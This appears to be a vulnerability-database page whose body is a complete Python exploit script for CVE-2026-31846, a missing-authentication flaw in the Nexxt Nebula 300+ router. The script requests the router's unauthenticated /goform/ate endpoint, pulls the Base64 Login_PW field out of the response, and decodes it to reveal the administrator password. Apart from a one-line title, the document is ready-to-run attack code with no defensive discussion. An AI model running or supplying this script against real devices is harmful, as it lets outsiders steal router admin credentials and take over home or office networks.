CVE-2026-31846 Nexxt Nebula 300+ 认证缺失漏洞

import requests import base64 import re def exploit(target_ip): # The vulnerable endpoint url = f"http://{target_ip}/goform/ate" try: # Send request without authentication headers response = requests.get(url, timeout=10) if response.status_code == 200: print("[+] Successfully retrieved data from /goform/ate") data = response.text # Search for the Login_PW parameter (format may vary, usually key=value) # This regex looks for Login_PW followed by an equals sign and captures the value match = re.search(r'Login_PW=([A-Za-z0-9+/=]+)', data) if match: encoded_pw = match.group(1) print(f"[+] Found Base64 encoded password: {encoded_pw}") try: # Decode the Base64 password decoded_pw = base64.b64decode(encoded_pw).decode('utf-8') print(f"[!] Decoded Administrator Password: {decoded_pw}") except Exception as e: print(f"[-] Error decoding password: {e}") else: print("[-] Could not find Login_PW in response.") print("[DEBUG] Response content:") print(data) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.1.1" print(f"[*] Attempting to exploit CVE-2026-31846 on {target}") exploit(target)